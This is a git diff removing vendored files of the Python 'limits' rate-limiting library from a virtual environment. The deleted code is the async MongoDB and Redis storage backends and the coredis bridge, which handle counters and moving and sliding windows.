+++ /dev/null @@ -1,520 +0,0 @@ -from __future__ import annotations - -import asyncio -import datetime -import time - -from deprecated.sphinx import versionadded, versionchanged - -from limits.aio.storage.base import ( - MovingWindowSupport, - SlidingWindowCounterSupport, - Storage, -) -from limits.typing import ( - ParamSpec, - TypeVar, - cast, -) -from limits.util import get_dependency - -P = ParamSpec("P") -R = TypeVar("R") - - -@versionadded(version="2.1") -@versionchanged( - version="3.14.0", - reason="Added option to select custom collection names for windows & counters", -) -class MongoDBStorage(Storage, MovingWindowSupport, SlidingWindowCounterSupport): - """ - Rate limit storage with MongoDB as backend. - - Depends on :pypi:`motor` - """ - - STORAGE_SCHEME = ["async+mongodb", "async+mongodb+srv"] - """ - The storage scheme for MongoDB for use in an async context - """ - - DEPENDENCIES = ["motor.motor_asyncio", "pymongo"] - - def __init__( - self, - uri: str, - database_name: str = "limits", - counter_collection_name: str = "counters", - window_collection_name: str = "windows", - wrap_exceptions: bool = False, - **options: float | str | bool, - ) -> None: - """ - :param uri: uri of the form ``async+mongodb://[user:password]@host:port?...``, - This uri is passed directly to :class:`~motor.motor_asyncio.AsyncIOMotorClient` - :param database_name: The database to use for storing the rate limit - collections. - :param counter_collection_name: The collection name to use for individual counters - used in fixed window strategies - :param window_collection_name: The collection name to use for sliding & moving window - storage - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed - to the constructor of :class:`~motor.motor_asyncio.AsyncIOMotorClient` - :raise ConfigurationError: when the :pypi:`motor` or :pypi:`pymongo` are - not available - """ - - uri = uri.replace("async+mongodb", "mongodb", 1) - - super().__init__(uri, wrap_exceptions=wrap_exceptions, **options) - - self.dependency = self.dependencies["motor.motor_asyncio"] - self.proxy_dependency = self.dependencies["pymongo"] - self.lib_errors, _ = get_dependency("pymongo.errors") - - self.storage = self.dependency.module.AsyncIOMotorClient(uri, **options) - # TODO: Fix this hack. It was noticed when running a benchmark - # with FastAPI - however - doesn't appear in unit tests or in an isolated - # use. Reference: https://jira.mongodb.org/browse/MOTOR-822 - self.storage.get_io_loop = asyncio.get_running_loop - - self.__database_name = database_name - self.__collection_mapping = { - "counters": counter_collection_name, - "windows": window_collection_name, - } - self.__indices_created = False - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return self.lib_errors.PyMongoError # type: ignore - - @property - def database(self): # type: ignore - return self.storage.get_database(self.__database_name) - - async def create_indices(self) -> None: - if not self.__indices_created: - await asyncio.gather( - self.database[self.__collection_mapping["counters"]].create_index( - "expireAt", expireAfterSeconds=0 - ), - self.database[self.__collection_mapping["windows"]].create_index( - "expireAt", expireAfterSeconds=0 - ), - ) - self.__indices_created = True - - async def reset(self) -> int | None: - """ - Delete all rate limit keys in the rate limit collections (counters, windows) - """ - num_keys = sum( - await asyncio.gather( - self.database[self.__collection_mapping["counters"]].count_documents( - {} - ), - self.database[self.__collection_mapping["windows"]].count_documents({}), - ) - ) - await asyncio.gather( - self.database[self.__collection_mapping["counters"]].drop(), - self.database[self.__collection_mapping["windows"]].drop(), - ) - - return cast(int, num_keys) - - async def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - await asyncio.gather( - self.database[self.__collection_mapping["counters"]].find_one_and_delete( - {"_id": key} - ), - self.database[self.__collection_mapping["windows"]].find_one_and_delete( - {"_id": key} - ), - ) - - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - counter = await self.database[self.__collection_mapping["counters"]].find_one( - {"_id": key} - ) - return ( - (counter["expireAt"] if counter else datetime.datetime.now()) - .replace(tzinfo=datetime.timezone.utc) - .timestamp() - ) - - async def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - counter = await self.database[self.__collection_mapping["counters"]].find_one( - { - "_id": key, - "expireAt": {"$gte": datetime.datetime.now(datetime.timezone.utc)}, - }, - projection=["count"], - ) - - return counter and counter["count"] or 0 - - async def incr(self, key: str, expiry: int, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - await self.create_indices() - - expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta( - seconds=expiry - ) - - response = await self.database[ - self.__collection_mapping["counters"] - ].find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "count": { - "$cond": { - "if": {"$lt": ["$expireAt", "$$NOW"]}, - "then": amount, - "else": {"$add": ["$count", amount]}, - } - }, - "expireAt": { - "$cond": { - "if": {"$lt": ["$expireAt", "$$NOW"]}, - "then": expiration, - "else": "$expireAt", - } - }, - } - }, - ], - upsert=True, - projection=["count"], - return_document=self.proxy_dependency.module.ReturnDocument.AFTER, - ) - - return int(response["count"]) - - async def check(self) -> bool: - """ - Check if storage is healthy by calling - :meth:`motor.motor_asyncio.AsyncIOMotorClient.server_info` - """ - try: - await self.storage.server_info() - - return True - except: # noqa: E722 - return False - - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param str key: rate limit key - :param int expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - - timestamp = time.time() - if ( - result := await self.database[self.__collection_mapping["windows"]] - .aggregate( - [ - {"$match": {"_id": key}}, - { - "$project": { - "filteredEntries": { - "$filter": { - "input": "$entries", - "as": "entry", - "cond": {"$gte": ["$$entry", timestamp - expiry]}, - } - } - } - }, - { - "$project": { - "min": {"$min": "$filteredEntries"}, - "count": {"$size": "$filteredEntries"}, - } - }, - ] - ) - .to_list(length=1) - ): - return result[0]["min"], result[0]["count"] - return timestamp, 0 - - async def acquire_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - await self.create_indices() - - if amount > limit: - return False - - timestamp = time.time() - try: - updates: dict[ - str, - dict[str, datetime.datetime | dict[str, list[float] | int]], - ] = { - "$push": { - "entries": { - "$each": [timestamp] * amount, - "$position": 0, - "$slice": limit, - } - }, - "$set": { - "expireAt": ( - datetime.datetime.now(datetime.timezone.utc) - + datetime.timedelta(seconds=expiry) - ) - }, - } - - await self.database[self.__collection_mapping["windows"]].update_one( - { - "_id": key, - f"entries.{limit - amount}": {"$not": {"$gte": timestamp - expiry}}, - }, - updates, - upsert=True, - ) - - return True - except self.proxy_dependency.module.errors.DuplicateKeyError: - return False - - async def acquire_sliding_window_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - await self.create_indices() - expiry_ms = expiry * 1000 - result = await self.database[ - self.__collection_mapping["windows"] - ].find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "previousCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": {"$ifNull": ["$currentCount", 0]}, - "else": {"$ifNull": ["$previousCount", 0]}, - } - }, - } - }, - { - "$set": { - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": 0, - "else": {"$ifNull": ["$currentCount", 0]}, - } - }, - "expireAt": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": { - "$cond": { - "if": {"$gt": ["$expireAt", 0]}, - "then": {"$add": ["$expireAt", expiry_ms]}, - "else": {"$add": ["$$NOW", 2 * expiry_ms]}, - } - }, - "else": "$expireAt", - } - }, - } - }, - { - "$set": { - "curWeightedCount": { - "$floor": { - "$add": [ - { - "$multiply": [ - "$previousCount", - { - "$divide": [ - { - "$max": [ - 0, - { - "$subtract": [ - "$expireAt", - { - "$add": [ - "$$NOW", - expiry_ms, - ] - }, - ] - }, - ] - }, - expiry_ms, - ] - }, - ] - }, - "$currentCount", - ] - } - } - } - }, - { - "$set": { - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$add": ["$curWeightedCount", amount]}, - limit, - ] - }, - "then": {"$add": ["$currentCount", amount]}, - "else": "$currentCount", - } - } - } - }, - { - "$set": { - "_acquired": { - "$lte": [{"$add": ["$curWeightedCount", amount]}, limit] - } - } - }, - {"$unset": ["curWeightedCount"]}, - ], - return_document=self.proxy_dependency.module.ReturnDocument.AFTER, - upsert=True, - ) - - return cast(bool, result["_acquired"]) - - async def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - expiry_ms = expiry * 1000 - if result := await self.database[ - self.__collection_mapping["windows"] - ].find_one_and_update( - {"_id": key}, - [ - { - "$set": { - "previousCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": {"$ifNull": ["$currentCount", 0]}, - "else": {"$ifNull": ["$previousCount", 0]}, - } - }, - "currentCount": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": 0, - "else": {"$ifNull": ["$currentCount", 0]}, - } - }, - "expireAt": { - "$cond": { - "if": { - "$lte": [ - {"$subtract": ["$expireAt", "$$NOW"]}, - expiry_ms, - ] - }, - "then": {"$add": ["$expireAt", expiry_ms]}, - "else": "$expireAt", - } - }, - } - } - ], - return_document=self.proxy_dependency.module.ReturnDocument.AFTER, - projection=["currentCount", "previousCount", "expireAt"], - ): - expires_at = ( - (result["expireAt"].replace(tzinfo=datetime.timezone.utc).timestamp()) - if result.get("expireAt") - else time.time() - ) - current_ttl = max(0, expires_at - time.time()) - prev_ttl = max(0, current_ttl - expiry if result["previousCount"] else 0) - - return ( - result["previousCount"], - prev_ttl, - result["currentCount"], - current_ttl, - ) - return 0, 0.0, 0, 0.0 - - async def clear_sliding_window(self, key: str, expiry: int) -> None: - return await self.clear(key) - - def __del__(self) -> None: - self.storage and self.storage.close() diff --git a/venv/Lib/site-packages/limits/aio/storage/redis/__init__.py b/venv/Lib/site-packages/limits/aio/storage/redis/__init__.py deleted file mode 100644 index 9ab2878bdf6bec0db20d445877c6beac81a076c8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/redis/__init__.py +++ /dev/null @@ -1,423 +0,0 @@ -from __future__ import annotations - -import asyncio - -from deprecated.sphinx import versionadded, versionchanged -from packaging.version import Version - -from limits.aio.storage import MovingWindowSupport, SlidingWindowCounterSupport, Storage -from limits.aio.storage.redis.bridge import RedisBridge -from limits.aio.storage.redis.coredis import CoredisBridge -from limits.aio.storage.redis.redispy import RedispyBridge -from limits.aio.storage.redis.valkey import ValkeyBridge -from limits.typing import Literal - - -@versionadded(version="2.1") -@versionchanged( - version="4.2", - reason=( - "Added support for using the asyncio redis client from :pypi:`redis`" - " through :paramref:`implementation`" - ), -) -@versionchanged( - version="4.3", - reason=( - "Added support for using the asyncio redis client from :pypi:`valkey`" - " through :paramref:`implementation` or if :paramref:`uri` has the" - " ``async+valkey`` schema" - ), -) -class RedisStorage(Storage, MovingWindowSupport, SlidingWindowCounterSupport): - """ - Rate limit storage with redis as backend. - - Depends on :pypi:`coredis` or :pypi:`redis` - """ - - STORAGE_SCHEME = [ - "async+redis", - "async+rediss", - "async+redis+unix", - "async+valkey", - "async+valkeys", - "async+valkey+unix", - ] - """ - The storage schemes for redis to be used in an async context - """ - DEPENDENCIES = { - "redis": Version("5.2.0"), - "coredis": Version("3.4.0"), - "valkey": Version("6.0"), - } - MODE: Literal["BASIC", "CLUSTER", "SENTINEL"] = "BASIC" - PREFIX = "LIMITS" - - bridge: RedisBridge - storage_exceptions: tuple[Exception, ...] - target_server: Literal["redis", "valkey"] - - def __init__( - self, - uri: str, - wrap_exceptions: bool = False, - implementation: Literal["redispy", "coredis", "valkey"] = "coredis", - key_prefix: str = PREFIX, - **options: float | str | bool, - ) -> None: - """ - :param uri: uri of the form: - - - ``async+redis://[:password]@host:port`` - - ``async+redis://[:password]@host:port/db`` - - ``async+rediss://[:password]@host:port`` - - ``async+redis+unix:///path/to/sock?db=0`` etc... - - This uri is passed directly to :meth:`coredis.Redis.from_url` or - :meth:`redis.asyncio.client.Redis.from_url` with the initial ``async`` removed, - except for the case of ``async+redis+unix`` where it is replaced with ``unix``. - - If the uri scheme is ``async+valkey`` the implementation used will be from - :pypi:`valkey`. - :param connection_pool: if provided, the redis client is initialized with - the connection pool and any other params passed as :paramref:`options` - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param implementation: Whether to use the client implementation from - - - ``coredis``: :class:`coredis.Redis` - - ``redispy``: :class:`redis.asyncio.client.Redis` - - ``valkey``: :class:`valkey.asyncio.client.Valkey` - - :param key_prefix: the prefix for each key created in redis - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`coredis.Redis` or :class:`redis.asyncio.client.Redis` - :raise ConfigurationError: when the redis library is not available - """ - uri = uri.removeprefix("async+") - self.target_server = "redis" if uri.startswith("redis") else "valkey" - uri = uri.replace(f"{self.target_server}+unix", "unix") - - super().__init__(uri, wrap_exceptions=wrap_exceptions) - self.options = options - if self.target_server == "valkey" or implementation == "valkey": - self.bridge = ValkeyBridge( - uri, self.dependencies["valkey"].module, key_prefix, **options - ) - else: - if implementation == "redispy": - self.bridge = RedispyBridge( - uri, self.dependencies["redis"].module, key_prefix, **options - ) - else: - self.bridge = CoredisBridge( - uri, self.dependencies["coredis"].module, key_prefix, **options - ) - self.configure_bridge() - self.bridge.register_scripts() - - def _current_window_key(self, key: str) -> str: - """ - Return the current window's storage key (Sliding window strategy) - - Contrary to other strategies that have one key per rate limit item, - this strategy has two keys per rate limit item than must be on the same machine. - To keep the current key and the previous key on the same Redis cluster node, - curly braces are added. - - Eg: "{constructed_key}" - """ - return f"{{{key}}}" - - def _previous_window_key(self, key: str) -> str: - """ - Return the previous window's storage key (Sliding window strategy). - - Curvy braces are added on the common pattern with the current window's key, - so the current and the previous key are stored on the same Redis cluster node. - - Eg: "{constructed_key}/-1" - """ - return f"{self._current_window_key(key)}/-1" - - def configure_bridge(self) -> None: - self.bridge.use_basic(**self.options) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return self.bridge.base_exceptions - - async def incr(self, key: str, expiry: int, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - - return await self.bridge.incr(key, expiry, amount) - - async def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - - return await self.bridge.get(key) - - async def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - - return await self.bridge.clear(key) - - async def acquire_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - - return await self.bridge.acquire_entry(key, limit, expiry, amount) - - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (previous count, previous TTL, current count, current TTL) - """ - return await self.bridge.get_moving_window(key, limit, expiry) - - async def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - current_key = self._current_window_key(key) - previous_key = self._previous_window_key(key) - return await self.bridge.acquire_sliding_window_entry( - previous_key, current_key, limit, expiry, amount - ) - - async def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - previous_key = self._previous_window_key(key) - current_key = self._current_window_key(key) - return await self.bridge.get_sliding_window(previous_key, current_key, expiry) - - async def clear_sliding_window(self, key: str, expiry: int) -> None: - previous_key = self._previous_window_key(key) - current_key = self._current_window_key(key) - await asyncio.gather(self.clear(previous_key), self.clear(current_key)) - - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - - return await self.bridge.get_expiry(key) - - async def check(self) -> bool: - """ - Check if storage is healthy by calling ``PING`` - """ - - return await self.bridge.check() - - async def reset(self) -> int | None: - """ - This function calls a Lua Script to delete keys prefixed with - :paramref:`RedisStorage.key_prefix` in blocks of 5000. - - .. warning:: This operation was designed to be fast, but was not tested - on a large production based system. Be careful with its usage as it - could be slow on very large data sets. - """ - - return await self.bridge.lua_reset() - - -@versionadded(version="2.1") -@versionchanged( - version="4.2", - reason="Added support for using the asyncio redis client from :pypi:`redis` ", -) -@versionchanged( - version="4.3", - reason=( - "Added support for using the asyncio redis client from :pypi:`valkey`" - " through :paramref:`implementation` or if :paramref:`uri` has the" - " ``async+valkey+cluster`` schema" - ), -) -class RedisClusterStorage(RedisStorage): - """ - Rate limit storage with redis cluster as backend - - Depends on :pypi:`coredis` or :pypi:`redis` - """ - - STORAGE_SCHEME = ["async+redis+cluster", "async+valkey+cluster"] - """ - The storage schemes for redis cluster to be used in an async context - """ - - MODE = "CLUSTER" - - def __init__( - self, - uri: str, - wrap_exceptions: bool = False, - implementation: Literal["redispy", "coredis", "valkey"] = "coredis", - key_prefix: str = RedisStorage.PREFIX, - **options: float | str | bool, - ) -> None: - """ - :param uri: url of the form - ``async+redis+cluster://[:password]@host:port,host:port`` - - If the uri scheme is ``async+valkey+cluster`` the implementation used will be from - :pypi:`valkey`. - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param implementation: Whether to use the client implementation from - - - ``coredis``: :class:`coredis.RedisCluster` - - ``redispy``: :class:`redis.asyncio.cluster.RedisCluster` - - ``valkey``: :class:`valkey.asyncio.cluster.ValkeyCluster` - :param key_prefix: the prefix for each key created in redis - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`coredis.RedisCluster` or - :class:`redis.asyncio.RedisCluster` - :raise ConfigurationError: when the redis library is not - available or if the redis host cannot be pinged. - """ - super().__init__( - uri, - wrap_exceptions=wrap_exceptions, - implementation=implementation, - key_prefix=key_prefix, - **options, - ) - - def configure_bridge(self) -> None: - self.bridge.use_cluster(**self.options) - - async def reset(self) -> int | None: - """ - Redis Clusters are sharded and deleting across shards - can't be done atomically. Because of this, this reset loops over all - keys that are prefixed with :paramref:`RedisClusterStorage.key_prefix` - and calls delete on them one at a time. - - .. warning:: This operation was not tested with extremely large data sets. - On a large production based system, care should be taken with its - usage as it could be slow on very large data sets - """ - - return await self.bridge.reset() - - -@versionadded(version="2.1") -@versionchanged( - version="4.2", - reason="Added support for using the asyncio redis client from :pypi:`redis` ", -) -@versionchanged( - version="4.3", - reason=( - "Added support for using the asyncio redis client from :pypi:`valkey`" - " through :paramref:`implementation` or if :paramref:`uri` has the" - " ``async+valkey+sentinel`` schema" - ), -) -class RedisSentinelStorage(RedisStorage): - """ - Rate limit storage with redis sentinel as backend - - Depends on :pypi:`coredis` or :pypi:`redis` - """ - - STORAGE_SCHEME = [ - "async+redis+sentinel", - "async+valkey+sentinel", - ] - """The storage scheme for redis accessed via a redis sentinel installation""" - - MODE = "SENTINEL" - - DEPENDENCIES = { - "redis": Version("5.2.0"), - "coredis": Version("3.4.0"), - "coredis.sentinel": Version("3.4.0"), - "valkey": Version("6.0"), - } - - def __init__( - self, - uri: str, - wrap_exceptions: bool = False, - implementation: Literal["redispy", "coredis", "valkey"] = "coredis", - key_prefix: str = RedisStorage.PREFIX, - service_name: str | None = None, - use_replicas: bool = True, - sentinel_kwargs: dict[str, float | str | bool] | None = None, - **options: float | str | bool, - ): - """ - :param uri: url of the form - ``async+redis+sentinel://host:port,host:port/service_name`` - - If the uri schema is ``async+valkey+sentinel`` the implementation used will be from - :pypi:`valkey`. - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param implementation: Whether to use the client implementation from - - - ``coredis``: :class:`coredis.sentinel.Sentinel` - - ``redispy``: :class:`redis.asyncio.sentinel.Sentinel` - - ``valkey``: :class:`valkey.asyncio.sentinel.Sentinel` - :param key_prefix: the prefix for each key created in redis - :param service_name: sentinel service name (if not provided in `uri`) - :param use_replicas: Whether to use replicas for read only operations - :param sentinel_kwargs: optional arguments to pass as - `sentinel_kwargs`` to :class:`coredis.sentinel.Sentinel` or - :class:`redis.asyncio.Sentinel` - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`coredis.sentinel.Sentinel` or - :class:`redis.asyncio.sentinel.Sentinel` - :raise ConfigurationError: when the redis library is not available - or if the redis primary host cannot be pinged. - """ - - self.service_name = service_name - self.use_replicas = use_replicas - self.sentinel_kwargs = sentinel_kwargs - super().__init__( - uri, - wrap_exceptions=wrap_exceptions, - implementation=implementation, - key_prefix=key_prefix, - **options, - ) - - def configure_bridge(self) -> None: - self.bridge.use_sentinel( - self.service_name, self.use_replicas, self.sentinel_kwargs, **self.options - ) diff --git a/venv/Lib/site-packages/limits/aio/storage/redis/bridge.py b/venv/Lib/site-packages/limits/aio/storage/redis/bridge.py deleted file mode 100644 index 28aa4e223ea28f4d2a4d038787dcfce5a200a689..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/redis/bridge.py +++ /dev/null @@ -1,121 +0,0 @@ -from __future__ import annotations - -from abc import ABC, abstractmethod -from types import ModuleType - -from limits._storage_scheme import parse_storage_uri -from limits.util import get_package_data - - -class RedisBridge(ABC): - RES_DIR = "resources/redis/lua_scripts" - - SCRIPT_MOVING_WINDOW = get_package_data(f"{RES_DIR}/moving_window.lua") - SCRIPT_ACQUIRE_MOVING_WINDOW = get_package_data( - f"{RES_DIR}/acquire_moving_window.lua" - ) - SCRIPT_CLEAR_KEYS = get_package_data(f"{RES_DIR}/clear_keys.lua") - SCRIPT_INCR_EXPIRE = get_package_data(f"{RES_DIR}/incr_expire.lua") - SCRIPT_SLIDING_WINDOW = get_package_data(f"{RES_DIR}/sliding_window.lua") - SCRIPT_ACQUIRE_SLIDING_WINDOW = get_package_data( - f"{RES_DIR}/acquire_sliding_window.lua" - ) - - def __init__( - self, - uri: str, - dependency: ModuleType, - key_prefix: str, - **options: float | str | bool, - ) -> None: - self.uri = uri - self.options_from_uri = parse_storage_uri(self.uri) - self.dependency = dependency - self.parsed_auth = {} - self.key_prefix = key_prefix - if username := options.get("username", self.options_from_uri.username): - self.parsed_auth["username"] = username - if password := options.get("password", self.options_from_uri.password): - self.parsed_auth["password"] = password - - def prefixed_key(self, key: str) -> str: - return f"{self.key_prefix}:{key}" - - @abstractmethod - def register_scripts(self) -> None: ... - - @abstractmethod - def use_sentinel( - self, - service_name: str | None, - use_replicas: bool, - sentinel_kwargs: dict[str, str | float | bool] | None, - **options: str | float | bool, - ) -> None: ... - - @abstractmethod - def use_basic(self, **options: str | float | bool) -> None: ... - - @abstractmethod - def use_cluster(self, **options: str | float | bool) -> None: ... - - @property - @abstractmethod - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: ... - - @abstractmethod - async def incr( - self, - key: str, - expiry: int, - amount: int = 1, - ) -> int: ... - - @abstractmethod - async def get(self, key: str) -> int: ... - - @abstractmethod - async def clear(self, key: str) -> None: ... - - @abstractmethod - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: ... - - @abstractmethod - async def get_sliding_window( - self, previous_key: str, current_key: str, expiry: int - ) -> tuple[int, float, int, float]: ... - - @abstractmethod - async def acquire_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: ... - - @abstractmethod - async def acquire_sliding_window_entry( - self, - previous_key: str, - current_key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: ... - - @abstractmethod - async def get_expiry(self, key: str) -> float: ... - - @abstractmethod - async def check(self) -> bool: ... - - @abstractmethod - async def reset(self) -> int | None: ... - - @abstractmethod - async def lua_reset(self) -> int | None: ... diff --git a/venv/Lib/site-packages/limits/aio/storage/redis/coredis.py b/venv/Lib/site-packages/limits/aio/storage/redis/coredis.py deleted file mode 100644 index 8d3372dd6fdd31b4f098b22f9ccba606af407be2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/redis/coredis.py +++ /dev/null @@ -1,205 +0,0 @@ -from __future__ import annotations - -import time -from typing import TYPE_CHECKING, cast - -from limits.aio.storage.redis.bridge import RedisBridge -from limits.errors import ConfigurationError -from limits.typing import AsyncCoRedisClient, Callable - -if TYPE_CHECKING: - import coredis - - -class CoredisBridge(RedisBridge): - DEFAULT_CLUSTER_OPTIONS: dict[str, float | str | bool] = { - "max_connections": 1000, - } - "Default options passed to :class:`coredis.RedisCluster`" - - @property - def base_exceptions(self) -> type[Exception] | tuple[type[Exception], ...]: - return (self.dependency.exceptions.RedisError,) - - def use_sentinel( - self, - service_name: str | None, - use_replicas: bool, - sentinel_kwargs: dict[str, str | float | bool] | None, - **options: str | float | bool, - ) -> None: - sentinel_configuration = [] - connection_options = options.copy() - - sentinel_configuration.extend(self.options_from_uri.locations) - service_name = ( - self.options_from_uri.path.replace("/", "") - if self.options_from_uri.path - else service_name - ) - - if service_name is None: - raise ConfigurationError("'service_name' not provided") - - self.sentinel = self.dependency.sentinel.Sentinel( - sentinel_configuration, - sentinel_kwargs={**self.parsed_auth, **(sentinel_kwargs or {})}, - **{**self.parsed_auth, **connection_options}, - ) - self.storage = self.sentinel.primary_for(service_name) - self.storage_replica = self.sentinel.replica_for(service_name) - self.connection_getter = lambda readonly: ( - self.storage_replica if readonly and use_replicas else self.storage - ) - - def use_basic(self, **options: str | float | bool) -> None: - if connection_pool := options.pop("connection_pool", None): - self.storage = self.dependency.Redis( - connection_pool=connection_pool, **options - ) - else: - if self.options_from_uri.empty: - self.storage = self.dependency.Redis(**options) - else: - self.storage = self.dependency.Redis.from_url(self.uri, **options) - - self.connection_getter = lambda _: self.storage - - def use_cluster(self, **options: str | float | bool) -> None: - cluster_hosts: list[dict[str, int | str]] = [] - cluster_hosts.extend( - {"host": host, "port": int(port)} - for host, port in self.options_from_uri.locations - ) - self.storage = self.dependency.RedisCluster( - **{ - **self.DEFAULT_CLUSTER_OPTIONS, - **{"startup_nodes": cluster_hosts}, - **self.parsed_auth, - **options, - }, - ) - self.connection_getter = lambda _: self.storage - - lua_moving_window: coredis.commands.Script[bytes] - lua_acquire_moving_window: coredis.commands.Script[bytes] - lua_sliding_window: coredis.commands.Script[bytes] - lua_acquire_sliding_window: coredis.commands.Script[bytes] - lua_clear_keys: coredis.commands.Script[bytes] - lua_incr_expire: coredis.commands.Script[bytes] - connection_getter: Callable[[bool], AsyncCoRedisClient] - - def get_connection(self, readonly: bool = False) -> AsyncCoRedisClient: - return self.connection_getter(readonly) - - def register_scripts(self) -> None: - self.lua_moving_window = self.get_connection().register_script( - self.SCRIPT_MOVING_WINDOW - ) - self.lua_acquire_moving_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_MOVING_WINDOW - ) - self.lua_clear_keys = self.get_connection().register_script( - self.SCRIPT_CLEAR_KEYS - ) - self.lua_incr_expire = self.get_connection().register_script( - self.SCRIPT_INCR_EXPIRE - ) - self.lua_sliding_window = self.get_connection().register_script( - self.SCRIPT_SLIDING_WINDOW - ) - self.lua_acquire_sliding_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_SLIDING_WINDOW - ) - - async def incr(self, key: str, expiry: int, amount: int = 1) -> int: - key = self.prefixed_key(key) - if (value := await self.get_connection().incrby(key, amount)) == amount: - await self.get_connection().expire(key, expiry) - return value - - async def get(self, key: str) -> int: - key = self.prefixed_key(key) - return int(await self.get_connection(readonly=True).get(key) or 0) - - async def clear(self, key: str) -> None: - key = self.prefixed_key(key) - await self.get_connection().delete([key]) - - async def lua_reset(self) -> int | None: - return cast(int, await self.lua_clear_keys.execute([self.prefixed_key("*")])) - - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - key = self.prefixed_key(key) - timestamp = time.time() - window = await self.lua_moving_window.execute( - [key], [timestamp - expiry, limit] - ) - if window: - return float(window[0]), window[1] # type: ignore - return timestamp, 0 - - async def get_sliding_window( - self, previous_key: str, current_key: str, expiry: int - ) -> tuple[int, float, int, float]: - previous_key = self.prefixed_key(previous_key) - current_key = self.prefixed_key(current_key) - - if window := await self.lua_sliding_window.execute( - [previous_key, current_key], [expiry] - ): - return ( - int(window[0] or 0), # type: ignore - max(0, float(window[1] or 0)) / 1000, # type: ignore - int(window[2] or 0), # type: ignore - max(0, float(window[3] or 0)) / 1000, # type: ignore - ) - return 0, 0.0, 0, 0.0 - - async def acquire_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - key = self.prefixed_key(key) - timestamp = time.time() - acquired = await self.lua_acquire_moving_window.execute( - [key], [timestamp, limit, expiry, amount] - ) - - return bool(acquired) - - async def acquire_sliding_window_entry( - self, - previous_key: str, - current_key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - previous_key = self.prefixed_key(previous_key) - current_key = self.prefixed_key(current_key) - acquired = await self.lua_acquire_sliding_window.execute( - [previous_key, current_key], [limit, expiry, amount] - ) - return bool(acquired) - - async def get_expiry(self, key: str) -> float: - key = self.prefixed_key(key) - return max(await self.get_connection().ttl(key), 0) + time.time() - - async def check(self) -> bool: - try: - await self.get_connection().ping() - - return True - except: # noqa - return False - - async def reset(self) -> int | None: - prefix = self.prefixed_key("*") - keys = await self.storage.keys(prefix) - count = 0 - for key in keys: - count += await self.storage.delete([key]) - return count diff --git a/venv/Lib/site-packages/limits/aio/storage/redis/redispy.py b/venv/Lib/site-packages/limits/aio/storage/redis/redispy.py deleted file mode 100644 index 3949e94adcf1180e8c34e3a080e4228d476f70cf..0000000000000000000000000000000000000000 --- 